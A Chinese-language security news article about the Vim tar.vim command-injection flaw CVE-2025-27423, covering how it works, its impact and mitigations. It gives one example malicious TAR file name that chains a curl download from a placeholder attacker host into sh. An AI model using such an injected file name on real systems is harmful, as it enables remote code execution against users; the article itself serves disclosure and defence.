Vim 编辑器漏洞：恶意 TAR 文件触发代码执行风险

Vim文本编辑器的高危漏洞CVE-2025-27423（CVSSv4评分8.1）允许攻击者通过恶意构造的TAR压缩包实现任意代码执行。该漏洞影响2025年3月前所有低于9.1.1164版本的Vim，根源在于其内置的tar.vim插件存在文件元数据验证缺陷。

攻击机制

tar.vim 插件自 2004 年起包含在标准 Vim 发行版中，使用户能够直接编辑 TAR 档案中的文件，而无需手动提取。2024 年 11 月的更新（提交 129a844）引入了增强的文件权限处理，但无意中创建了注入向量。

该插件修改后的 ：read 命令实现未能清理从存档元数据中提取的文件名，从而允许攻击者在文件名中嵌入 shell、 ;、 |或 & & 等元字符。当用户打开武器化的 TAR 文件时，tar.vim 会使用未经清理的文件名数据构建系统命令字符串。

例如，像 legit_file.txt;卷曲 [http://malicious.site/payload.sh] |sh 会将有效负载执行命令附加到 Vim 的 ：read 管道中。

执行通过用户配置的 shell（由 Vim 的 shell 选项定义，默认为 $SHELL），这意味着攻击成功取决于命令链接等 shell 功能。

CVE-2025-27423 为高严重性 （CVSSv4： 8.1），需要用户交互，特别是在 Vim 中打开恶意存档。

虽然可见的文件名异常（例如文件名中的分号）可能会提醒谨慎的用户，但复杂的攻击可能会混淆有效负载。

该漏洞的影响不仅限于单个工作站。使用 Vim 进行日志检查、使用 CI/CD 管道解析工件的开发环境或具有自动 vimdiff 存档比较的系统面临更高的风险。

GMO Flatt Security 分析师 @Ry0taK，因发现该漏洞而受到赞誉。

缓解措施

Vim 项目发布了 9.1.1164 版本，该版本使用基于正则表达式的过滤功能进行了强大的文件名清理。立即采取的行动包括：

• 使用官方包管理器（apt upgrade vim、brew update vim）升级 Vim

• 使用 vim 验证安装 –version |grep 9.1.1164

• 对于未修补的系统：

通过 echo 'let g：loaded_tar = 1' >> ~/.vimrc 禁用 tar.vim

设置 shell=/bin/dash 以暂时限制 shell 功能。

Vim 用户必须优先考虑更新并审核第三方插件，尤其是那些处理不受信任的文件格式的插件。随着供应链攻击变得越来越复杂，in-Vim 存档访问的编辑便利性现在需要更严格的审查。

建议进行持续监控，因为 GitHub 上已经出现了概念验证漏洞，尽管主要的 AV 引擎现在检测到恶意的 TAR 模式。系统管理员应将修补与识别可疑存档内容的用户教育相结合，这是一种多层防御措施，对于缓解此威胁的社会工程方面至关重要。

原文来自: cybersecuritynews.com